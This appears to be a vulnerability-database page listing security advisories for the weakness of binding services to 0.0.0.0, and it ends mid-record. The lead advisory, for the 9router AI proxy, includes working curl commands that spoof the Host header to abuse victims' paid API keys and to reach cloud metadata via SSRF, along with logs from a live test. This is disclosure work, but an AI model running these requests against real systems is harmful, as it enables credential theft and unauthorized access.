GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-1327

Allowed

Binding to an Unrestricted IP Address

Abstraction: Base · Status: Incomplete

The product assigns the address 0.0.0.0 for a database server, a cloud service/instance, or any computing resource that communicates remotely.

46 vulnerabilities reference this CWE, most recent first.

GHSA-86M2-FCXQ-5Q7C

Vulnerability from github – Published: 2026-08-28 18:33 – Updated: 2026-08-28 18:33
VLAI
Summary
9router: Unauthenticated `/v1` proxy access via `Host`-header spoofing → open AI relay + SSRF
Details

Summary

9router's request guard decides a request is "local" (and therefore exempt from API-key auth on the /v1 LLM proxy) by reading the client-controlled Host header. Because 9router binds 0.0.0.0 by default (and the CLI misleadingly prints "localhost"), a remote, unauthenticated attacker who can reach the port can send Host: localhost to be treated as local and obtain /v1 proxy access with no API key, no CLI token, and no dashboard login. In the default configuration (requireApiKey is absent from DEFAULT_SETTINGS, so the handler-side key check is skipped), this yields:

  • Open AI relay — the proxy forwards the attacker's requests to AI providers using the victim's stored paid API keys (cost/quota theft, prompt-based data exfiltration through the victim's accounts).
  • Unauthenticated SSRF/v1/search with the built-in noAuth searxng provider takes its outbound fetch URL from the request body (provider_options.baseUrl), so the attacker drives a server-side fetch to any internal/cloud-metadata host and gets the JSON response reflected back.

  • Affected: 9router <= 0.4.80 (current), src/dashboardGuard.js (isLocalRequest), src/sse/handlers/{chat,search}.js, src/lib/db/repos/settingsRepo.js, cli/cli.js.

  • Distinct from the existing advisories GHSA-fhh6-4qxv-rpqj (MCP-plugin RCE, patched) and GHSA-xrrh-p7f2-27vm (legacy <0.3.75 authz bypass).

Details

The bypass (src/dashboardGuard.js)

function isLoopbackHostname(h){ const name=h.split(":")[0].replace(/^\[|\]$/g,"").toLowerCase();
  return new Set(["localhost","127.0.0.1","::1"]).has(name); }
function isLocalRequest(request){
  if (!isLoopbackHostname(request.headers.get("host"))) return false;   // <-- client-controlled Host
  const origin = request.headers.get("origin");
  if (origin){ try { if (!isLoopbackHostname(new URL(origin).hostname)) return false; } catch { return false; } }
  return true;
}
async function canAccessPublicLlmApi(request){
  if (isLocalRequest(request)) return true;     // <-- "local" => no key required
  if (await hasValidCliToken(request)) return true;
  return await hasValidApiKey(request);
}

isLocalRequest never consults the socket peer address — only the spoofable Host header (and an absent/loopback Origin). The /v1,/v1beta,/api/v1,/api/v1beta prefixes are gated solely by canAccessPublicLlmApi.

Default exposure

  • cli/cli.js:63 const DEFAULT_HOST = "0.0.0.0"; and Dockerfile ENV HOSTNAME=0.0.0.0 / EXPOSE 20128 → reachable from the network by default.
  • cli/cli.js:500,541 display "localhost" even when bound to 0.0.0.0 — operators believe it's local-only.
  • src/lib/db/repos/settingsRepo.js DEFAULT_SETTINGS has no requireApiKey → the handler key checks (chat.js if (settings.requireApiKey), search.js same) are skipped by default.

Relay chain (verbatim trace, 0.4.71)

middleware (src/proxy.js, matcher covers all paths) → canAccessPublicLlmApi true via spoofed Host → next.config.mjs rewrites /v1/:path*/api/v1/:path*src/app/api/v1/messages/route.js POST → handleChat (no independent auth) → only gate falsy requireApiKeygetProviderCredentials() loads the victim's stored credentials → handleChatCore outbound fetch → response returned. No downstream key gate.

SSRF chain

search.js (only gate falsy requireApiKey) → searxng noAuth:truehandleSearchCore({credentials:null})coreBody.provider_options = body.provider_optionscallers.js:

export function resolveBaseUrl(config, params){
  const override = getProviderSetting(params, "baseUrl");   // reads params.providerOptions.baseUrl FIRST
  return (override || config.baseUrl).replace(/\/+$/, "");
}

buildSearxngRequest appends /search?q=...&format=json&categories=generalfetch(url) (server-side) → JSON reflected to caller.

PoC

Ground-truth, no network egress: harness/hostspoof.mjs (verbatim guard logic) and harness/ssrf_search.mjs (imports the real handleSearchCore + AI_PROVIDERS.searxng).

Guard bypass (hostspoof.mjs, exit 2):

attacker: remote, NO api key, NO cli token. Want canAccessPublicLlmApi === true == BYPASS
   denied       honest remote (real Host)
*** ALLOWED ***  SPOOF Host: localhost (no Origin)
*** ALLOWED ***  SPOOF Host: 127.0.0.1
*** ALLOWED ***  SPOOF Host: localhost:20128
   denied       SPOOF Host + Origin evil (blocked)
RESULT: BYPASS — remote key-less attacker spoofing Host: localhost is granted /v1 proxy access.

SSRF (ssrf_search.mjs, real imported code):

[*] searxng configured baseUrl: http://localhost:8888/search
[*] attacker provider_options.baseUrl: http://127.0.0.1:<port>
[*] credentials passed to core: null (noAuth => key-less attacker)
internal service reached by 9router process: true
path hit: /search?q=x&format=json&categories=general
data returned to attacker: [{"title":"INTERNAL-DATA",...,"content":"leaked"...}]
SSRF CONFIRMED: key-less request drove a server-side fetch to attacker URL.

Live confirmation against a RUNNING 9router (real HTTP, not just source/harness)

Built & ran 9router@0.4.71 (Next.js 16.2.9, bound 0.0.0.0:20128, default settings, no provider configured, no api key/login). Attacker = a request to the box's non-loopback LAN IP 10.204.111.34 (a genuine remote peer); only the Host header differs between the control and the attack:

(A) honest Host (the IP):     POST /v1/search  Host: 10.204.111.34:20128
    => HTTP 401 {"error":"API key required for remote API access"}      [guard blocks remote]

(B) spoofed Host: localhost:  POST /v1/search  Host: localhost
       body: {"provider":"searxng","query":"x","provider_options":{"baseUrl":"http://127.0.0.1:19099"}}
    => HTTP 200, and the attacker's listener logged:
       [ATTACKER-LISTENER] 9router CONNECTED: GET /search?q=x&format=json&categories=general | from 127.0.0.1
    => the 9router SERVER PROCESS issued a GET to the attacker-controlled URL  = unauthenticated SSRF.

(B') relay path POST /v1/messages, same Host-spoof:
       honest Host => 401 ;  Host: localhost => 404 {"error":"No active credentials for provider: openai"}
    => bypass reached handleChat's provider selection (would forward on the VICTIM'S key if one were configured).

Changing only the Host header (401 → reaches the handler), from the same remote peer, is the entire bypass — confirmed live on a default-config running instance. (Full SSRF response reflection requires the upstream to return searxng-shaped JSON; otherwise it is a blind/semi-blind SSRF — the server-side request to the attacker URL is the proven primitive. The relay needs ≥1 configured provider — the normal state — to actually spend the victim's key.) See repro/LIVE-EVIDENCE.txt.

Reproduce (against a network-reachable 9router; VICTIM_IP = the box):

# Open AI relay — no Authorization/x-api-key/cookie; victim's key pays:
curl -sS http://VICTIM_IP:20128/v1/messages -H 'Host: localhost' -H 'Content-Type: application/json' \
  -d '{"model":"claude-3-5-sonnet-20241022","max_tokens":64,"messages":[{"role":"user","content":"relay test"}]}'

# SSRF — attacker-controlled server-side fetch (e.g. cloud metadata), JSON reflected:
curl -sS http://VICTIM_IP:20128/v1/search -H 'Host: localhost' -H 'Content-Type: application/json' \
  -d '{"provider":"searxng","query":"x","provider_options":{"baseUrl":"http://169.254.169.254/latest/meta-data"}}'

Impact

Any 9router reachable on a network (default 0.0.0.0 bind, plus Docker -p, tunnel, or tailscale — all first-class features) can be: - used as a free AI relay billed to the victim's provider accounts, exhausting quota and exfiltrating data through their keys; and - used to reach internal services / cloud metadata (169.254.169.254) with the response reflected to the attacker. Unauthenticated, no user interaction, default configuration. The only precondition is the normal one (≥1 configured provider).

Recommended fix

  1. Determine "local" from the socket peer IP, never the Host header — treat as local only if the TCP peer is 127.0.0.0/8 / ::1.
  2. Bind 127.0.0.1 by default; require an explicit, warned opt-in for 0.0.0.0; fix the CLI to not print "localhost" when bound to all interfaces.
  3. For any non-loopback peer, require a valid API key regardless of requireApiKey; add requireApiKey: true to DEFAULT_SETTINGS (fail-closed).
  4. Validate provider_options.baseUrl against an allowlist (or drop the override) and block requests to private/link-local ranges in resolveBaseUrl.
  5. Remove Access-Control-Allow-Origin: * from /v1 GET metadata routes.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "9router"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55641"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1327",
      "CWE-290",
      "CWE-348",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T18:33:20Z",
    "nvd_published_at": "2026-07-10T17:16:59Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n9router\u0027s request guard decides a request is \"local\" (and therefore exempt from API-key auth on the `/v1` LLM proxy) by reading the **client-controlled `Host` header**. Because 9router binds `0.0.0.0` by default (and the CLI misleadingly prints \"localhost\"), a remote, unauthenticated attacker who can reach the port can send `Host: localhost` to be treated as local and obtain `/v1` proxy access with **no API key, no CLI token, and no dashboard login**. In the default configuration (`requireApiKey` is absent from `DEFAULT_SETTINGS`, so the handler-side key check is skipped), this yields:\n\n- **Open AI relay** \u2014 the proxy forwards the attacker\u0027s requests to AI providers using the **victim\u0027s stored paid API keys** (cost/quota theft, prompt-based data exfiltration through the victim\u0027s accounts).\n- **Unauthenticated SSRF** \u2014 `/v1/search` with the built-in `noAuth` `searxng` provider takes its outbound fetch URL from the request body (`provider_options.baseUrl`), so the attacker drives a server-side fetch to any internal/cloud-metadata host and gets the JSON response reflected back.\n\n- **Affected:** `9router \u003c= 0.4.80` (current), `src/dashboardGuard.js` (`isLocalRequest`), `src/sse/handlers/{chat,search}.js`, `src/lib/db/repos/settingsRepo.js`, `cli/cli.js`.\n- **Distinct from** the existing advisories GHSA-fhh6-4qxv-rpqj (MCP-plugin RCE, patched) and GHSA-xrrh-p7f2-27vm (legacy `\u003c0.3.75` authz bypass).\n\n## Details\n\n### The bypass (`src/dashboardGuard.js`)\n```js\nfunction isLoopbackHostname(h){ const name=h.split(\":\")[0].replace(/^\\[|\\]$/g,\"\").toLowerCase();\n  return new Set([\"localhost\",\"127.0.0.1\",\"::1\"]).has(name); }\nfunction isLocalRequest(request){\n  if (!isLoopbackHostname(request.headers.get(\"host\"))) return false;   // \u003c-- client-controlled Host\n  const origin = request.headers.get(\"origin\");\n  if (origin){ try { if (!isLoopbackHostname(new URL(origin).hostname)) return false; } catch { return false; } }\n  return true;\n}\nasync function canAccessPublicLlmApi(request){\n  if (isLocalRequest(request)) return true;     // \u003c-- \"local\" =\u003e no key required\n  if (await hasValidCliToken(request)) return true;\n  return await hasValidApiKey(request);\n}\n```\n`isLocalRequest` never consults the **socket peer address** \u2014 only the spoofable `Host` header (and an absent/loopback `Origin`). The `/v1`,`/v1beta`,`/api/v1`,`/api/v1beta` prefixes are gated solely by `canAccessPublicLlmApi`.\n\n### Default exposure\n- `cli/cli.js:63` `const DEFAULT_HOST = \"0.0.0.0\";` and `Dockerfile` `ENV HOSTNAME=0.0.0.0` / `EXPOSE 20128` \u2192 reachable from the network by default.\n- `cli/cli.js:500,541` display `\"localhost\"` even when bound to `0.0.0.0` \u2014 operators believe it\u0027s local-only.\n- `src/lib/db/repos/settingsRepo.js` `DEFAULT_SETTINGS` has **no `requireApiKey`** \u2192 the handler key checks (`chat.js` `if (settings.requireApiKey)`, `search.js` same) are skipped by default.\n\n### Relay chain (verbatim trace, 0.4.71)\nmiddleware (`src/proxy.js`, matcher covers all paths) \u2192 `canAccessPublicLlmApi` true via spoofed Host \u2192 `next.config.mjs` rewrites `/v1/:path*`\u2192`/api/v1/:path*` \u2192 `src/app/api/v1/messages/route.js` POST \u2192 `handleChat` (no independent auth) \u2192 only gate falsy `requireApiKey` \u2192 `getProviderCredentials()` loads the victim\u0027s stored credentials \u2192 `handleChatCore` outbound fetch \u2192 response returned. **No downstream key gate.**\n\n### SSRF chain\n`search.js` (only gate falsy `requireApiKey`) \u2192 `searxng` `noAuth:true` \u21d2 `handleSearchCore({credentials:null})` \u2192 `coreBody.provider_options = body.provider_options` \u2192 `callers.js`:\n```js\nexport function resolveBaseUrl(config, params){\n  const override = getProviderSetting(params, \"baseUrl\");   // reads params.providerOptions.baseUrl FIRST\n  return (override || config.baseUrl).replace(/\\/+$/, \"\");\n}\n```\n\u2192 `buildSearxngRequest` appends `/search?q=...\u0026format=json\u0026categories=general` \u2192 `fetch(url)` (server-side) \u2192 JSON reflected to caller.\n\n## PoC\n\nGround-truth, no network egress: `harness/hostspoof.mjs` (verbatim guard logic) and `harness/ssrf_search.mjs` (imports the *real* `handleSearchCore` + `AI_PROVIDERS.searxng`).\n\n**Guard bypass (`hostspoof.mjs`, exit 2):**\n```\nattacker: remote, NO api key, NO cli token. Want canAccessPublicLlmApi === true == BYPASS\n   denied       honest remote (real Host)\n*** ALLOWED ***  SPOOF Host: localhost (no Origin)\n*** ALLOWED ***  SPOOF Host: 127.0.0.1\n*** ALLOWED ***  SPOOF Host: localhost:20128\n   denied       SPOOF Host + Origin evil (blocked)\nRESULT: BYPASS \u2014 remote key-less attacker spoofing Host: localhost is granted /v1 proxy access.\n```\n\n**SSRF (`ssrf_search.mjs`, real imported code):**\n```\n[*] searxng configured baseUrl: http://localhost:8888/search\n[*] attacker provider_options.baseUrl: http://127.0.0.1:\u003cport\u003e\n[*] credentials passed to core: null (noAuth =\u003e key-less attacker)\ninternal service reached by 9router process: true\npath hit: /search?q=x\u0026format=json\u0026categories=general\ndata returned to attacker: [{\"title\":\"INTERNAL-DATA\",...,\"content\":\"leaked\"...}]\nSSRF CONFIRMED: key-less request drove a server-side fetch to attacker URL.\n```\n\n### Live confirmation against a RUNNING 9router (real HTTP, not just source/harness)\n\nBuilt \u0026 ran `9router@0.4.71` (Next.js 16.2.9, bound `0.0.0.0:20128`, **default settings, no provider configured, no api key/login**). Attacker = a request to the box\u0027s **non-loopback LAN IP `10.204.111.34`** (a genuine remote peer); only the `Host` header differs between the control and the attack:\n\n```\n(A) honest Host (the IP):     POST /v1/search  Host: 10.204.111.34:20128\n    =\u003e HTTP 401 {\"error\":\"API key required for remote API access\"}      [guard blocks remote]\n\n(B) spoofed Host: localhost:  POST /v1/search  Host: localhost\n       body: {\"provider\":\"searxng\",\"query\":\"x\",\"provider_options\":{\"baseUrl\":\"http://127.0.0.1:19099\"}}\n    =\u003e HTTP 200, and the attacker\u0027s listener logged:\n       [ATTACKER-LISTENER] 9router CONNECTED: GET /search?q=x\u0026format=json\u0026categories=general | from 127.0.0.1\n    =\u003e the 9router SERVER PROCESS issued a GET to the attacker-controlled URL  = unauthenticated SSRF.\n\n(B\u0027) relay path POST /v1/messages, same Host-spoof:\n       honest Host =\u003e 401 ;  Host: localhost =\u003e 404 {\"error\":\"No active credentials for provider: openai\"}\n    =\u003e bypass reached handleChat\u0027s provider selection (would forward on the VICTIM\u0027S key if one were configured).\n```\nChanging **only** the `Host` header (401 \u2192 reaches the handler), from the same remote peer, is the entire bypass \u2014 confirmed live on a default-config running instance. (Full SSRF response *reflection* requires the upstream to return searxng-shaped JSON; otherwise it is a blind/semi-blind SSRF \u2014 the server-side request to the attacker URL is the proven primitive. The relay needs \u22651 configured provider \u2014 the normal state \u2014 to actually spend the victim\u0027s key.) See `repro/LIVE-EVIDENCE.txt`.\n\n**Reproduce** (against a network-reachable 9router; `VICTIM_IP` = the box):\n```bash\n# Open AI relay \u2014 no Authorization/x-api-key/cookie; victim\u0027s key pays:\ncurl -sS http://VICTIM_IP:20128/v1/messages -H \u0027Host: localhost\u0027 -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"model\":\"claude-3-5-sonnet-20241022\",\"max_tokens\":64,\"messages\":[{\"role\":\"user\",\"content\":\"relay test\"}]}\u0027\n\n# SSRF \u2014 attacker-controlled server-side fetch (e.g. cloud metadata), JSON reflected:\ncurl -sS http://VICTIM_IP:20128/v1/search -H \u0027Host: localhost\u0027 -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"provider\":\"searxng\",\"query\":\"x\",\"provider_options\":{\"baseUrl\":\"http://169.254.169.254/latest/meta-data\"}}\u0027\n```\n\n## Impact\n\nAny 9router reachable on a network (default `0.0.0.0` bind, plus Docker `-p`, tunnel, or tailscale \u2014 all first-class features) can be:\n- used as a free AI relay billed to the victim\u0027s provider accounts, exhausting quota and exfiltrating data through their keys; and\n- used to reach internal services / cloud metadata (`169.254.169.254`) with the response reflected to the attacker.\nUnauthenticated, no user interaction, default configuration. The only precondition is the normal one (\u22651 configured provider).\n\n## Recommended fix\n1. Determine \"local\" from the **socket peer IP**, never the `Host` header \u2014 treat as local only if the TCP peer is `127.0.0.0/8` / `::1`.\n2. Bind `127.0.0.1` by default; require an explicit, warned opt-in for `0.0.0.0`; fix the CLI to not print \"localhost\" when bound to all interfaces.\n3. For any non-loopback peer, require a valid API key regardless of `requireApiKey`; add `requireApiKey: true` to `DEFAULT_SETTINGS` (fail-closed).\n4. Validate `provider_options.baseUrl` against an allowlist (or drop the override) and block requests to private/link-local ranges in `resolveBaseUrl`.\n5. Remove `Access-Control-Allow-Origin: *` from `/v1` GET metadata routes.",
  "id": "GHSA-86m2-fcxq-5q7c",
  "modified": "2026-08-28T18:33:20Z",
  "published": "2026-08-28T18:33:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/security/advisories/GHSA-86m2-fcxq-5q7c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55641"
    },
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/commit/b282f0554972ea35281520738759d76abcd0b0b3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/decolua/9router"
    },
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/releases/tag/v0.5.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "9router: Unauthenticated `/v1` proxy access via `Host`-header spoofing \u2192 open AI relay + SSRF"
}

GHSA-8C78-H946-HMR5

Vulnerability from github – Published: 2024-04-17 18:31 – Updated: 2024-04-17 18:31
VLAI
Details

Server receiving a malformed message based on a list of IPs resulting in heap corruption causing a denial of service. See Honeywell Security Notification for recommendations on upgrading and versioning.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-5398"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1327"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-17T17:15:13Z",
    "severity": "MODERATE"
  },
  "details": "Server receiving a malformed message based on a list of IPs resulting in heap corruption causing a denial of service.\u00a0See Honeywell Security Notification for recommendations on upgrading and versioning.\n\n",
  "id": "GHSA-8c78-h946-hmr5",
  "modified": "2024-04-17T18:31:34Z",
  "published": "2024-04-17T18:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5398"
    },
    {
      "type": "WEB",
      "url": "https://process.honeywell.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-92G9-C25J-HQP6

Vulnerability from github – Published: 2023-08-31 15:30 – Updated: 2023-08-31 15:30
VLAI
Details

Excessive attack surface due to binding to an unrestricted IP address. The following products are affected: Acronis Agent (Linux, macOS, Windows) before build 30430, Acronis Cyber Protect 15 (Linux, macOS, Windows) before build 35979.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-41742"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1327",
      "CWE-668"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-31T15:15:08Z",
    "severity": "MODERATE"
  },
  "details": "Excessive attack surface due to binding to an unrestricted IP address. The following products are affected: Acronis Agent (Linux, macOS, Windows) before build 30430, Acronis Cyber Protect 15 (Linux, macOS, Windows) before build 35979.",
  "id": "GHSA-92g9-c25j-hqp6",
  "modified": "2023-08-31T15:30:17Z",
  "published": "2023-08-31T15:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41742"
    },
    {
      "type": "WEB",
      "url": "https://security-advisory.acronis.com/advisories/SEC-4351"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9344-F92H-VR44

Vulnerability from github – Published: 2026-05-06 18:30 – Updated: 2026-05-06 18:30
VLAI
Details

gopls by default communicates via pipe. However, -port and -listen flags are supported as means of debugging. If -listen is given a value without an explicit host (e.g. :8080), or -port is used, gopls will listen on 0.0.0.0.  As a result, users might inadvertently cause gopls to bind 0.0.0.0. This can allow a malicious party on the same network to execute code arbitrarily via gopls.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-42503"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1327"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-06T17:16:23Z",
    "severity": "HIGH"
  },
  "details": "gopls by default communicates via pipe. However, -port and -listen flags are supported as means of debugging.\nIf -listen is given a value without an explicit host (e.g. :8080), or -port is used, gopls will listen on 0.0.0.0.\u00a0\nAs a result, users might\u00a0inadvertently cause gopls to bind 0.0.0.0.\nThis can allow a\u00a0malicious party on the same network to execute code arbitrarily via gopls.",
  "id": "GHSA-9344-f92h-vr44",
  "modified": "2026-05-06T18:30:31Z",
  "published": "2026-05-06T18:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42503"
    },
    {
      "type": "WEB",
      "url": "https://go.dev/cl/774381"
    },
    {
      "type": "WEB",
      "url": "https://go.dev/issue/79211"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CPWH-2GHX-4JVR

Vulnerability from github – Published: 2023-04-28 21:30 – Updated: 2024-04-04 03:43
VLAI
Details

Instruments with Illumina Universal Copy Service v2.x are vulnerable due to binding to an unrestricted IP address. An unauthenticated malicious actor could use UCS to listen on all IP addresses, including those capable of accepting remote communications.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-1968"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1327"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-28T19:15:16Z",
    "severity": "HIGH"
  },
  "details": "\nInstruments with Illumina Universal Copy Service v2.x are vulnerable due to binding to an unrestricted IP address. An unauthenticated malicious actor could use UCS to listen on all IP addresses, including those capable of accepting remote communications. \n\n\n\n\n\n\n\n",
  "id": "GHSA-cpwh-2ghx-4jvr",
  "modified": "2024-04-04T03:43:59Z",
  "published": "2023-04-28T21:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1968"
    },
    {
      "type": "WEB",
      "url": "https://support.illumina.com/downloads/illumina-universal-copy-service-1-0.html"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-medical-advisories/icsma-23-117-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FHFP-X6GX-HFQM

Vulnerability from github – Published: 2025-09-24 21:30 – Updated: 2025-09-24 21:30
VLAI
Details

Binding to an unrestricted ip address in GitHub allows an unauthorized attacker to execute code over a network.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-55322"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1327"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-24T19:15:38Z",
    "severity": "HIGH"
  },
  "details": "Binding to an unrestricted ip address in GitHub allows an unauthorized attacker to execute code over a network.",
  "id": "GHSA-fhfp-x6gx-hfqm",
  "modified": "2025-09-24T21:30:37Z",
  "published": "2025-09-24T21:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55322"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55322"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G3WF-C9JP-7296

Vulnerability from github – Published: 2024-10-15 12:30 – Updated: 2024-10-15 12:30
VLAI
Details

Excessive attack surface in archive-server service due to binding to an unrestricted IP address. The following products are affected: Acronis Cyber Protect 16 (Linux, Windows) before build 38690.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-49382"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1327"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-15T11:15:13Z",
    "severity": "LOW"
  },
  "details": "Excessive attack surface in archive-server service due to binding to an unrestricted IP address. The following products are affected: Acronis Cyber Protect 16 (Linux, Windows) before build 38690.",
  "id": "GHSA-g3wf-c9jp-7296",
  "modified": "2024-10-15T12:30:37Z",
  "published": "2024-10-15T12:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49382"
    },
    {
      "type": "WEB",
      "url": "https://security-advisory.acronis.com/advisories/SEC-7286"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G7C7-634V-GP3R

Vulnerability from github – Published: 2026-05-15 06:30 – Updated: 2026-05-15 06:30
VLAI
Details

Unrestricted IP address binding in the AMD Device Metrics Exporter (ROCm ecosystem) could allow a remote attacker to perform unauthorized changes to the GPU configuration, potentially resulting in loss of availability

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-0481"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1327"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-15T05:16:33Z",
    "severity": "CRITICAL"
  },
  "details": "Unrestricted IP address binding in the AMD Device Metrics Exporter (ROCm ecosystem) could allow a remote attacker to perform unauthorized changes to the GPU configuration, potentially resulting in loss of availability",
  "id": "GHSA-g7c7-634v-gp3r",
  "modified": "2026-05-15T06:30:29Z",
  "published": "2026-05-15T06:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0481"
    },
    {
      "type": "WEB",
      "url": "https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-6031.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-J4VQ-Q93M-4683

Vulnerability from github – Published: 2025-12-02 00:35 – Updated: 2025-12-02 00:35
VLAI
Summary
Keycloak has debug default bind address
Details

A vulnerability exists in Keycloak's server distribution where enabling debug mode (--debug) insecurely defaults to binding the Java Debug Wire Protocol (JDWP) port to all network interfaces (0.0.0.0). This exposes the debug port to the local network, allowing an attacker on the same network segment to attach a remote debugger and achieve remote code execution within the Keycloak Java virtual machine.

Red Hat evaluates this as a Moderate impact vulnerability due to the requirement of running debug mode and untrusted network. Also, for Red Hat Single Sign-On, this must as well be bound to 0.0.0.0 address, which is not recommended in production scenarios.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.keycloak:keycloak-quarkus-dist"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.4.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-11538"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1327"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-02T00:35:03Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "A vulnerability exists in Keycloak\u0027s server distribution where enabling debug mode (`--debug`) insecurely defaults to binding the Java Debug Wire Protocol (JDWP) port to all network interfaces (`0.0.0.0`). This exposes the debug port to the local network, allowing an attacker on the same network segment to attach a remote debugger and achieve remote code execution within the Keycloak Java virtual machine.\n\nRed Hat evaluates this as a Moderate impact vulnerability due to the requirement of running debug mode and untrusted network. Also, for Red Hat Single Sign-On, this must as well be bound to 0.0.0.0 address, which is not recommended in production scenarios.",
  "id": "GHSA-j4vq-q93m-4683",
  "modified": "2025-12-02T00:35:03Z",
  "published": "2025-12-02T00:35:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/keycloak/keycloak/security/advisories/GHSA-j4vq-q93m-4683"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11538"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:21370"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:21371"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2025-11538"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2402622"
    },
    {
      "type": "PACKAGE",
